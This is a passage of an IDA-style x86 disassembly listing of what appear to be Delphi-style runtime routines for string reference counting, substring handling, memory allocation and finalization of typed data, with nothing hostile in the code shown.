		jz	short loc_40004D0B
		and	ebx, 0FF0000h
		and	ecx, 0FF0000h
		cmp	ecx, ebx
		jnz	short loc_40004D32


loc_40004D0B:				; CODE XREF: sub_40004C94+53j
					; sub_40004C94+5Ej ...
		add	eax, eax
		jmp	short loc_40004D32
; ---------------------------------------------------------------------------


loc_40004D0F:				; CODE XREF: sub_40004C94+11j
		mov	edx, [edi-4]
		sub	eax, edx
		jmp	short loc_40004D32
; ---------------------------------------------------------------------------


loc_40004D16:				; CODE XREF: sub_40004C94+15j
		mov	eax, [esi-4]
		sub	eax, edx
		jmp	short loc_40004D32
; ---------------------------------------------------------------------------


loc_40004D1D:				; CODE XREF: sub_40004C94+2Fj
					; sub_40004C94+3Cj
		pop	edx
		cmp	cl, bl
		jnz	short loc_40004D32
		cmp	ch, bh
		jnz	short loc_40004D32
		shr	ecx, 10h
		shr	ebx, 10h
		cmp	cl, bl
		jnz	short loc_40004D32
		cmp	ch, bh


loc_40004D32:				; CODE XREF: sub_40004C94+9j
					; sub_40004C94+5Bj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40004C94	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004D38	proc near		; CODE XREF: sub_4000679C+Dp
					; sub_4000684C+Dp ...
		test	eax, eax
		jz	short locret_40004D46
		mov	edx, [eax-8]
		inc	edx
		jle	short locret_40004D46
		lock inc dword ptr [eax-8]

locret_40004D46:			; CODE XREF: sub_40004D38+2j
					; sub_40004D38+8j
		retn
sub_40004D38	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004D48	proc near		; CODE XREF: sub_40003328+46p
					; sub_40007BB4+21p ...
		test	eax, eax
		jz	short loc_40004D4E
		retn
; ---------------------------------------------------------------------------
byte_40004D4D	db 0			; DATA XREF: sub_40004D48:loc_40004D4Eo
; ---------------------------------------------------------------------------


loc_40004D4E:				; CODE XREF: sub_40004D48+2j
		mov	eax, offset byte_40004D4D
		retn
sub_40004D48	endp


; =============== S U B	R O U T	I N E =======================================



sub_40004D54	proc near		; CODE XREF: sub_40004D98j
					; sub_40004DA0j
		mov	edx, [eax]
		test	edx, edx
		jz	short loc_40004D92
		mov	ecx, [edx-8]
		dec	ecx
		jz	short loc_40004D92
		push	ebx
		mov	ebx, eax
		mov	eax, [edx-4]
		call	sub_40004948
		mov	edx, eax
		mov	eax, [ebx]
		mov	[ebx], edx
		push	eax
		mov	ecx, [eax-4]
		call	sub_40002DFC
		pop	eax
		mov	ecx, [eax-8]
		dec	ecx
		jl	short loc_40004D8F
		lock dec dword ptr [eax-8]
		jnz	short loc_40004D8F
		lea	eax, [eax-8]
		call	sub_40002C3C


loc_40004D8F:				; CODE XREF: sub_40004D54+2Bj
					; sub_40004D54+31j
		mov	edx, [ebx]
		pop	ebx


loc_40004D92:				; CODE XREF: sub_40004D54+4j
					; sub_40004D54+Aj
		mov	eax, edx
		retn
sub_40004D54	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40004D98	proc near		; CODE XREF: sub_40004DE8+9p
		jmp	sub_40004D54
sub_40004D98	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40004DA0	proc near		; CODE XREF: sub_40006958+7Ap
					; sub_40016B44+34p ...
		jmp	sub_40004D54
sub_40004DA0	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004DA8	proc near		; CODE XREF: sub_40007BF8+47p
					; sub_400080B0+20p ...

arg_0		= dword	ptr  4

		push	ebx
		test	eax, eax
		jz	short loc_40004DDA
		mov	ebx, [eax-4]
		test	ebx, ebx
		jz	short loc_40004DDA
		dec	edx
		jl	short loc_40004DD2
		cmp	edx, ebx
		jge	short loc_40004DDA


loc_40004DBB:				; CODE XREF: sub_40004DA8+2Cj
		sub	ebx, edx
		test	ecx, ecx
		jl	short loc_40004DDA
		cmp	ecx, ebx
		jg	short loc_40004DD6


loc_40004DC5:				; CODE XREF: sub_40004DA8+30j
		add	edx, eax
		mov	eax, [esp+4+arg_0]
		call	sub_40004974
		jmp	short loc_40004DE3
; ---------------------------------------------------------------------------


loc_40004DD2:				; CODE XREF: sub_40004DA8+Dj
		xor	edx, edx
		jmp	short loc_40004DBB
; ---------------------------------------------------------------------------


loc_40004DD6:				; CODE XREF: sub_40004DA8+1Bj
		mov	ecx, ebx
		jmp	short loc_40004DC5
; ---------------------------------------------------------------------------


loc_40004DDA:				; CODE XREF: sub_40004DA8+3j
					; sub_40004DA8+Aj ...
		mov	eax, [esp+4+arg_0]
		call	sub_40004884


loc_40004DE3:				; CODE XREF: sub_40004DA8+28j
		pop	ebx
		retn	4
sub_40004DA8	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40004DE8	proc near		; CODE XREF: sub_40014250+47p
					; sub_40014374+44p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		call	sub_40004D98
		mov	edx, [ebx]
		test	edx, edx
		jz	short loc_40004E2C
		mov	ecx, [edx-4]
		dec	esi
		jl	short loc_40004E2C
		cmp	esi, ecx
		jge	short loc_40004E2C
		test	edi, edi
		jle	short loc_40004E2C
		sub	ecx, esi
		cmp	edi, ecx
		jle	short loc_40004E12
		mov	edi, ecx


loc_40004E12:				; CODE XREF: sub_40004DE8+26j
		sub	ecx, edi
		add	edx, esi
		lea	eax, [edi+edx]
		call	sub_40002DFC
		mov	edx, [ebx]
		mov	eax, ebx
		mov	edx, [edx-4]
		sub	edx, edi
		call	sub_40004F74


loc_40004E2C:				; CODE XREF: sub_40004DE8+12j
					; sub_40004DE8+18j ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40004DE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40004E30	proc near		; CODE XREF: sub_4000A1CC+240p
					; sub_40016D80+3Dp ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF0h
		test	edx, edx
		jz	short loc_40004E87
		test	eax, eax
		jz	short loc_40004E87
		mov	esi, [edx-4]
		mov	ebx, [eax-4]
		cmp	esi, ebx
		jl	short loc_40004E87
		test	ebx, ebx
		jle	short loc_40004E87
		dec	ebx
		add	esi, edx
		add	edx, ebx
		mov	[esp+18h+var_10], esi
		add	eax, ebx
		mov	[esp+18h+var_14], edx
		neg	ebx
		movzx	ecx, byte ptr [eax]
		mov	[esp+18h+var_18], ebx
		jnz	loc_40004F01
		sub	esi, 2
		mov	[esp+18h+var_C], esi


loc_40004E6F:				; CODE XREF: sub_40004E30+55j
					; sub_40004E30+7Bj
		cmp	cl, [edx]
		jz	short loc_40004EB4
		cmp	cl, [edx+1]
		jz	short loc_40004EC4
		add	edx, 2
		cmp	edx, [esp+18h+var_C]
		jb	short loc_40004E8B
		cmp	edx, [esp+18h+var_10]
		jb	short loc_40004E6F


loc_40004E87:				; CODE XREF: sub_40004E30+7j
					; sub_40004E30+Bj ...
		xor	eax, eax
		jmp	short loc_40004EBB
; ---------------------------------------------------------------------------


loc_40004E8B:				; CODE XREF: sub_40004E30+4Fj
					; sub_40004E30+75j
		cmp	cl, [edx]
		jz	short loc_40004EB4
		cmp	cl, [edx+1]
		jz	short loc_40004EC4
		cmp	cl, [edx+2]
		jz	short loc_40004EB1
		cmp	cl, [edx+3]
		jz	short loc_40004EC1
		add	edx, 4
		cmp	edx, [esp+18h+var_C]
		jb	short loc_40004E8B
		cmp	edx, [esp+18h+var_10]
		jb	short loc_40004E6F
		xor	eax, eax
		jmp	short loc_40004EBB
; ---------------------------------------------------------------------------


loc_40004EB1:				; CODE XREF: sub_40004E30+67j
		add	edx, 2


loc_40004EB4:				; CODE XREF: sub_40004E30+41j
					; sub_40004E30+5Dj
		inc	edx
		mov	eax, edx
		sub	eax, [esp+18h+var_14]


loc_40004EBB:				; CODE XREF: sub_40004E30+59j
					; sub_40004E30+7Fj
		add	esp, 10h
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40004EC1:				; CODE XREF: sub_40004E30+6Cj
		add	edx, 2


loc_40004EC4:				; CODE XREF: sub_40004E30+46j
					; sub_40004E30+62j
		add	edx, 2
		xor	eax, eax
		cmp	edx, [esp+18h+var_10]
		ja	short loc_40004ED5
		mov	eax, edx
		sub	eax, [esp+18h+var_14]


loc_40004ED5:				; CODE XREF: sub_40004E30+9Dj
		add	esp, 10h
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40004EDB:				; CODE XREF: sub_40004E30+C5j
					; sub_40004E30+E8j
		cmp	cl, [edx]
		jz	short loc_40004F54
		cmp	cl, [edx+1]
		jz	short loc_40004F27
		cmp	cl, [edx+2]
		jz	short loc_40004F51
		cmp	cl, [edx+3]
		jz	short loc_40004F24
		add	edx, 4
		cmp	edx, [esp+18h+var_C]
		jb	short loc_40004EDB
		cmp	edx, [esp+18h+var_10]
		jb	short loc_40004F08
		xor	eax, eax
		jmp	short loc_40004F4B
; ---------------------------------------------------------------------------


loc_40004F01:				; CODE XREF: sub_40004E30+32j
		sub	esi, 2
		mov	[esp+18h+var_C], esi


loc_40004F08:				; CODE XREF: sub_40004E30+CBj
					; sub_40004E30+EEj
		cmp	cl, [edx]
		jz	short loc_40004F54


loc_40004F0C:				; CODE XREF: sub_40004E30+12Fj
		cmp	cl, [edx+1]
		jz	short loc_40004F27


loc_40004F11:				; CODE XREF: sub_40004E30+103j
		add	edx, 2
		cmp	edx, [esp+18h+var_C]
		jb	short loc_40004EDB
		cmp	edx, [esp+18h+var_10]
		jb	short loc_40004F08
		xor	eax, eax
		jmp	short loc_40004F4B
; ---------------------------------------------------------------------------


loc_40004F24:				; CODE XREF: sub_40004E30+BCj
		add	edx, 2


loc_40004F27:				; CODE XREF: sub_40004E30+B2j
					; sub_40004E30+DFj
		mov	esi, [esp+18h+var_18]


loc_40004F2A:				; CODE XREF: sub_40004E30+108j
		movzx	ebx, word ptr [eax+esi]
		cmp	bx, [edx+esi+1]
		jnz	short loc_40004F11
		add	esi, 2
		jl	short loc_40004F2A
		add	edx, 2
		xor	eax, eax
		cmp	edx, [esp+18h+var_10]
		ja	short loc_40004F4B
		mov	eax, edx
		sub	eax, [esp+18h+var_14]


loc_40004F4B:				; CODE XREF: sub_40004E30+CFj
					; sub_40004E30+F2j ...
		add	esp, 10h
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40004F51:				; CODE XREF: sub_40004E30+B7j
		add	edx, 2


loc_40004F54:				; CODE XREF: sub_40004E30+ADj
					; sub_40004E30+DAj
		mov	esi, [esp+18h+var_18]


loc_40004F57:				; CODE XREF: sub_40004E30+134j
		movzx	ebx, word ptr [eax+esi]
		cmp	bx, [edx+esi]
		jnz	short loc_40004F0C
		add	esi, 2
		jl	short loc_40004F57
		inc	edx
		mov	eax, edx
		sub	eax, [esp+18h+var_14]
		add	esp, 10h
		pop	esi
		pop	ebx
		retn
sub_40004E30	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004F74	proc near		; CODE XREF: sub_40002EFC+85p
					; sub_400049E0+5Dp ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		xor	edi, edi
		test	edx, edx
		jle	short loc_40004FC9
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_40004FAA
		cmp	dword ptr [eax-8], 1
		jnz	short loc_40004FAA
		sub	eax, 8
		add	edx, 9
		push	eax
		mov	eax, esp
		call	sub_40002C54
		pop	eax
		add	eax, 8
		mov	[ebx], eax
		mov	[eax-4], esi
		mov	byte ptr [esi+eax], 0
		jmp	short loc_40004FD2
; ---------------------------------------------------------------------------


loc_40004FAA:				; CODE XREF: sub_40004F74+11j
					; sub_40004F74+17j
		mov	eax, edx
		call	sub_40004948
		mov	edi, eax
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_40004FC9
		mov	edx, edi
		mov	ecx, [eax-4]
		cmp	ecx, esi
		jl	short loc_40004FC4
		mov	ecx, esi


loc_40004FC4:				; CODE XREF: sub_40004F74+4Cj
		call	sub_40002DFC


loc_40004FC9:				; CODE XREF: sub_40004F74+Bj
					; sub_40004F74+43j
		mov	eax, ebx
		call	sub_40004884
		mov	[ebx], edi


loc_40004FD2:				; CODE XREF: sub_40004F74+34j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40004F74	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_40004FE0


loc_40004FD8:				; CODE XREF: sub_40004FE0+Ej
					; sub_40005044+21j ...
		mov	al, 1
		jmp	sub_40002D50
; END OF FUNCTION CHUNK	FOR sub_40004FE0
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40004FE0	proc near		; CODE XREF: sub_400051C0+Fp

; FUNCTION CHUNK AT 40004FD8 SIZE 00000007 BYTES

		test	eax, eax
		jz	short locret_40004FF4
		push	eax
		push	0
		call	sub_40001260
		test	eax, eax
		jz	loc_40004FD8

locret_40004FF4:			; CODE XREF: sub_40004FE0+2j
		retn
sub_40004FE0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004FF8	proc near		; CODE XREF: sub_400051C0+38p
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_40005004
		push	edx
		call	sub_40001270

locret_40005004:			; CODE XREF: sub_40004FF8+4j
		retn
sub_40004FF8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005008	proc near		; CODE XREF: sub_40005044+6j
					; sub_40005044+11j ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_4000501C
		mov	dword ptr [eax], 0
		push	eax
		push	edx
		call	sub_40001270
		pop	eax

locret_4000501C:			; CODE XREF: sub_40005008+4j
		retn
sub_40005008	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40005020	proc near		; CODE XREF: sub_40005314+70p
					; sub_40011524+B9p ...
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, edx


loc_40005026:				; CODE XREF: sub_40005020+1Cj
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_40005038
		mov	dword ptr [ebx], 0
		push	eax
		call	sub_40001270


loc_40005038:				; CODE XREF: sub_40005020+Aj
		add	ebx, 4
		dec	esi
		jnz	short loc_40005026
		pop	esi
		pop	ebx
		retn
sub_40005020	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005044	proc near		; CODE XREF: sub_40005424+81p
					; sub_40005540+61p ...
		cmp	[eax], edx
		jz	short locret_4000506B
		test	edx, edx
		jz	sub_40005008
		mov	ecx, [edx-4]
		shr	ecx, 1
		jz	sub_40005008
		push	ecx
		push	edx
		push	eax
		call	sub_40001268
		test	eax, eax
		jz	loc_40004FD8

locret_4000506B:			; CODE XREF: sub_40005044+2j
		retn
sub_40005044	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000506C	proc near		; CODE XREF: sub_40005158:loc_40005161j
					; sub_40005674+16p

var_1014	= dword	ptr -1014h
var_1010	= byte ptr -1010h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFF004h
		push	eax
		add	esp, 0FFFFFFFCh
		mov	esi, ecx
		mov	[esp+1014h+var_1014], edx
		mov	edi, eax
		test	esi, esi
		jg	short loc_4000508E
		mov	eax, edi
		call	sub_40005008
		jmp	short loc_400050EB
; ---------------------------------------------------------------------------


loc_4000508E:				; CODE XREF: sub_4000506C+17j
		lea	ebp, [esi+1]
		cmp	ebp, 7FFh
		jge	short loc_400050C1
		push	esi
		lea	eax, [esp+1018h+var_1010]
		mov	ecx, [esp+1018h+var_1014]
		mov	edx, 7FFh
		call	sub_400049C4
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_400050C1
		lea	edx, [esp+1014h+var_1010]
		mov	eax, edi
		mov	ecx, ebx
		call	sub_400050F8
		jmp	short loc_400050EB
; ---------------------------------------------------------------------------


loc_400050C1:				; CODE XREF: sub_4000506C+2Bj
					; sub_4000506C+44j
		mov	ebx, ebp
		mov	eax, edi
		mov	edx, ebx
		call	sub_400051C0
		push	esi
		mov	eax, [edi]
		mov	ecx, [esp+1018h+var_1014]
		mov	edx, ebx
		call	sub_400049C4
		mov	ebx, eax
		test	ebx, ebx
		jge	short loc_400050E2
		xor	ebx, ebx


loc_400050E2:				; CODE XREF: sub_4000506C+72j
		mov	eax, edi
		mov	edx, ebx
		call	sub_400051C0


loc_400050EB:				; CODE XREF: sub_4000506C+20j
					; sub_4000506C+53j
		add	esp, 1004h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000506C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400050F8	proc near		; CODE XREF: sub_4000506C+4Ep
					; sub_4000511C:loc_4000514Fj ...
		test	ecx, ecx
		jz	sub_40005008
		push	eax
		push	ecx
		push	edx
		call	sub_40001260
		test	eax, eax
		jz	loc_40004FD8
		pop	edx
		push	dword ptr [edx]
		mov	[edx], eax
		call	sub_40001270
		retn
sub_400050F8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000511C	proc near		; CODE XREF: sub_40011524+66p
					; sub_40011C18+60p ...
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_4000514F
		push	edx


loc_40005123:				; CODE XREF: sub_4000511C+21j
		cmp	cx, [edx]
		jz	short loc_40005148
		cmp	cx, [edx+2]
		jz	short loc_40005145
		cmp	cx, [edx+4]
		jz	short loc_40005142
		cmp	cx, [edx+6]
		jz	short loc_4000513F
		add	edx, 8
		jmp	short loc_40005123
; ---------------------------------------------------------------------------


loc_4000513F:				; CODE XREF: sub_4000511C+1Cj
		add	edx, 2


loc_40005142:				; CODE XREF: sub_4000511C+16j
		add	edx, 2


loc_40005145:				; CODE XREF: sub_4000511C+10j
		add	edx, 2


loc_40005148:				; CODE XREF: sub_4000511C+Aj
		mov	ecx, edx
		pop	edx
		sub	ecx, edx
		shr	ecx, 1


loc_4000514F:				; CODE XREF: sub_4000511C+4j
		jmp	sub_400050F8
sub_4000511C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005158	proc near		; CODE XREF: sub_4000D0E8+43p
					; sub_4000D158+45p ...
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_40005161
		mov	ecx, [edx-4]


loc_40005161:				; CODE XREF: sub_40005158+4j
		jmp	sub_4000506C
sub_40005158	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005168	proc near		; CODE XREF: sub_40005174+Ep
					; sub_400051C0+18p ...
		test	eax, eax
		jz	short locret_40005171
		mov	eax, [eax-4]
		shr	eax, 1

locret_40005171:			; CODE XREF: sub_40005168+2j
		retn
sub_40005168	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40005174	proc near		; CODE XREF: sub_40011524+78p
					; sub_400116DC+184p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	ebx, edx
		mov	esi, eax
		mov	eax, esi
		call	sub_40005168
		cmp	ebx, 1
		jge	short loc_40005190
		xor	ebx, ebx
		jmp	short loc_40005197
; ---------------------------------------------------------------------------


loc_40005190:				; CODE XREF: sub_40005174+16j
		dec	ebx
		cmp	eax, ebx
		jge	short loc_40005197
		mov	ebx, eax


loc_40005197:				; CODE XREF: sub_40005174+1Aj
					; sub_40005174+1Fj
		test	edi, edi
		jge	short loc_4000519F
		xor	eax, eax
		jmp	short loc_400051A7
; ---------------------------------------------------------------------------


loc_4000519F:				; CODE XREF: sub_40005174+25j
		sub	eax, ebx
		cmp	edi, eax
		jge	short loc_400051A7
		mov	eax, edi


loc_400051A7:				; CODE XREF: sub_40005174+29j
					; sub_40005174+2Fj
		mov	edx, ebx
		add	edx, edx
		add	edx, esi
		mov	ecx, [ebp+arg_0]
		xchg	eax, ecx
		call	sub_400050F8
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_40005174	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400051C0	proc near		; CODE XREF: sub_4000506C+5Bp
					; sub_4000506C+7Ap
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, eax
		xor	ebx, ebx
		test	esi, esi
		jle	short loc_400051F4
		mov	eax, esi
		call	sub_40004FE0
		mov	ebx, eax
		mov	eax, [edi]
		call	sub_40005168
		test	eax, eax
		jle	short loc_400051F4
		cmp	esi, eax
		jge	short loc_400051E7
		mov	eax, esi


loc_400051E7:				; CODE XREF: sub_400051C0+23j
		mov	ecx, eax
		add	ecx, ecx
		mov	edx, ebx
		mov	eax, [edi]
		call	sub_40002DFC


loc_400051F4:				; CODE XREF: sub_400051C0+Bj
					; sub_400051C0+1Fj
		mov	eax, edi
		mov	edx, ebx
		call	sub_40004FF8
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400051C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005204	proc near		; CODE XREF: sub_40005234+86p
					; sub_40016280+1Dp
		xor	ecx, ecx
		push	ebx
		mov	cl, [edx+1]
		push	esi
		push	edi
		mov	ebx, eax
		lea	esi, [ecx+edx+0Ah]
		mov	edi, [ecx+edx+6]


loc_40005216:				; CODE XREF: sub_40005204+29j
		mov	edx, [esi]
		mov	eax, [esi+4]
		add	eax, ebx
		mov	edx, [edx]
		mov	ecx, 1
		call	sub_40005234
		add	esi, 8
		dec	edi
		jg	short loc_40005216
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40005204	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005234	proc near		; CODE XREF: sub_40005204+20p
					; sub_40005234+70p
		test	ecx, ecx
		jz	locret_400052C6
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		xor	edx, edx
		mov	al, [esi]
		mov	dl, [esi+1]
		xor	ecx, ecx
		cmp	al, 0Ah
		jz	short loc_40005274
		cmp	al, 0Bh
		jz	short loc_40005274
		cmp	al, 0Ch
		jz	short loc_4000527E
		cmp	al, 0Dh
		jz	short loc_40005291
		cmp	al, 0Eh
		jz	short loc_400052AF
		cmp	al, 0Fh
		jz	short loc_40005274
		cmp	al, 11h
		jz	short loc_40005274
		mov	al, 2
		pop	edi
		pop	esi
		pop	ebx
		jmp	sub_40002D50
; ---------------------------------------------------------------------------


loc_40005274:				; CODE XREF: sub_40005234+1Cj
					; sub_40005234+20j ...
		mov	[ebx], ecx
		add	ebx, 4
		dec	edi
		jg	short loc_40005274
		jmp	short loc_400052C3
; ---------------------------------------------------------------------------


loc_4000527E:				; CODE XREF: sub_40005234+24j
					; sub_40005234+59j
		mov	[ebx], ecx
		mov	[ebx+4], ecx
		mov	[ebx+8], ecx
		mov	[ebx+0Ch], ecx
		add	ebx, 10h
		dec	edi
		jg	short loc_4000527E
		jmp	short loc_400052C3
; ---------------------------------------------------------------------------


loc_40005291:				; CODE XREF: sub_40005234+28j
		push	ebp
		mov	ebp, edx


loc_40005294:				; CODE XREF: sub_40005234+76j
		mov	edx, [esi+ebp+0Ah]
		mov	eax, ebx
		add	ebx, [esi+ebp+2]
		mov	ecx, [esi+ebp+6]
		mov	edx, [edx]
		call	sub_40005234
		dec	edi
		jg	short loc_40005294
		pop	ebp
		jmp	short loc_400052C3
; ---------------------------------------------------------------------------


loc_400052AF:				; CODE XREF: sub_40005234+2Cj
		push	ebp
		mov	ebp, edx


loc_400052B2:				; CODE XREF: sub_40005234+8Cj
		mov	eax, ebx
		add	ebx, [esi+ebp+2]
		mov	edx, esi
		call	sub_40005204
		dec	edi
		jg	short loc_400052B2
		pop	ebp


loc_400052C3:				; CODE XREF: sub_40005234+48j
					; sub_40005234+5Bj ...
		pop	edi
		pop	esi
		pop	ebx

locret_400052C6:			; CODE XREF: sub_40005234+2j
		retn
sub_40005234	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400052C8	proc near		; CODE XREF: sub_40003D4C+12p
					; sub_40005314+AFp ...
		xor	ecx, ecx
		push	ebx
		mov	cl, [edx+1]
		push	esi
		push	edi
		mov	ebx, eax
		lea	esi, [ecx+edx+0Ah]
		mov	edi, [ecx+edx+6]


loc_400052DA:				; CODE XREF: sub_400052C8+29j
		mov	edx, [esi]
		mov	eax, [esi+4]
		add	eax, ebx
		mov	edx, [edx]
		mov	ecx, 1
		call	sub_40005314
		add	esi, 8
		dec	edi
		jg	short loc_400052DA
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400052C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400052FC	proc near		; CODE XREF: sub_40005314+7Cp
		cmp	off_4001A010, 0
		jz	short loc_4000530C
		call	off_4001A010
		retn
; ---------------------------------------------------------------------------


loc_4000530C:				; CODE XREF: sub_400052FC+7j
		mov	al, 10h
		call	sub_40002D50
sub_400052FC	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40005314	proc near		; CODE XREF: sub_400052C8+20p
					; sub_40005314+99p ...
		cmp	ecx, 0
		jz	locret_400053FD
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		xor	edx, edx
		mov	al, [esi]
		mov	dl, [esi+1]
		cmp	al, 0Ah
		jz	short loc_40005357
		cmp	al, 0Bh
		jz	short loc_40005374
		cmp	al, 0Ch
		jz	short loc_4000538B
		cmp	al, 0Dh
		jz	short loc_4000539A
		cmp	al, 0Eh
		jz	short loc_400053B8
		cmp	al, 0Fh
		jz	loc_400053CE
		cmp	al, 11h
		jz	loc_400053DD
		jmp	loc_400053EE
; ---------------------------------------------------------------------------


loc_40005357:				; CODE XREF: sub_40005314+1Cj
		cmp	ecx, 1
		mov	eax, ebx
		jg	short loc_40005368
		call	sub_40004884
		jmp	loc_400053F9
; ---------------------------------------------------------------------------


loc_40005368:				; CODE XREF: sub_40005314+48j
		mov	edx, ecx
		call	sub_400048A8
		jmp	loc_400053F9
; ---------------------------------------------------------------------------


loc_40005374:				; CODE XREF: sub_40005314+20j
		cmp	ecx, 1
		mov	eax, ebx
		jg	short loc_40005382
		call	sub_40005008
		jmp	short loc_400053F9
; ---------------------------------------------------------------------------


loc_40005382:				; CODE XREF: sub_40005314+65j
		mov	edx, ecx
		call	sub_40005020
		jmp	short loc_400053F9
; ---------------------------------------------------------------------------


loc_4000538B:				; CODE XREF: sub_40005314+24j
					; sub_40005314+82j
		mov	eax, ebx
		add	ebx, 10h
		call	sub_400052FC
		dec	edi
		jg	short loc_4000538B
		jmp	short loc_400053F9
; ---------------------------------------------------------------------------


loc_4000539A:				; CODE XREF: sub_40005314+28j
		push	ebp
		mov	ebp, edx


loc_4000539D:				; CODE XREF: sub_40005314+9Fj
		mov	edx, [esi+ebp+0Ah]
		mov	eax, ebx
		add	ebx, [esi+ebp+2]
		mov	ecx, [esi+ebp+6]
		mov	edx, [edx]
		call	sub_40005314
		dec	edi
		jg	short loc_4000539D
		pop	ebp
		jmp	short loc_400053F9
; ---------------------------------------------------------------------------


loc_400053B8:				; CODE XREF: sub_40005314+2Cj
		push	ebp
		mov	ebp, edx


loc_400053BB:				; CODE XREF: sub_40005314+B5j
		mov	eax, ebx
		add	ebx, [esi+ebp+2]
		mov	edx, esi
		call	sub_400052C8
		dec	edi
		jg	short loc_400053BB
		pop	ebp
		jmp	short loc_400053F9
; ---------------------------------------------------------------------------


loc_400053CE:				; CODE XREF: sub_40005314+30j
					; sub_40005314+C5j
		mov	eax, ebx
		add	ebx, 4
		call	sub_40006204
		dec	edi
		jg	short loc_400053CE
		jmp	short loc_400053F9
; ---------------------------------------------------------------------------


loc_400053DD:				; CODE XREF: sub_40005314+38j
					; sub_40005314+D6j
		mov	eax, ebx
		mov	edx, esi
		add	ebx, 4
		call	sub_40005B34
		dec	edi
		jg	short loc_400053DD
		jmp	short loc_400053F9
; ---------------------------------------------------------------------------


loc_400053EE:				; CODE XREF: sub_40005314+3Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	eax
		mov	al, 2
		jmp	sub_40002D50
; ---------------------------------------------------------------------------


loc_400053F9:				; CODE XREF: sub_40005314+4Fj
					; sub_40005314+5Bj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	eax

locret_400053FD:			; CODE XREF: sub_40005314+3j
		retn
sub_40005314	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40005400	proc near		; CODE XREF: sub_40005634+1p
					; sub_40016784+77p
		mov	ecx, 1
		jmp	sub_40005314
sub_40005400	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000540C	proc near		; CODE XREF: sub_40005424+92p
					; sub_40005540+75p
		cmp	off_4001A018, 0
